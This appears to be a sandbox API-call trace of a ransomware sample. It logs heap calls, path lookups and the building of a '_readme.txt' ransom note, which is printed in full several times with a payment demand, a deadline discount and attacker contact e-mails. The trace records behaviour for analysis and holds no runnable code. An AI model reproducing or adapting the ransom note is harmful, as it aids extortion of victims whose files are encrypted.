hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.044] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.044] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.045] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.045] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.046] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.048] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.048] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.049] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.049] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0117.049] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.049] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.049] PathFindFileNameW (pszPath="") returned="" [0117.049] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.049] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.049] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.049] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.049] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.049] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.050] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.050] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0117.050] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.050] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.050] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.050] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.050] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.050] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: 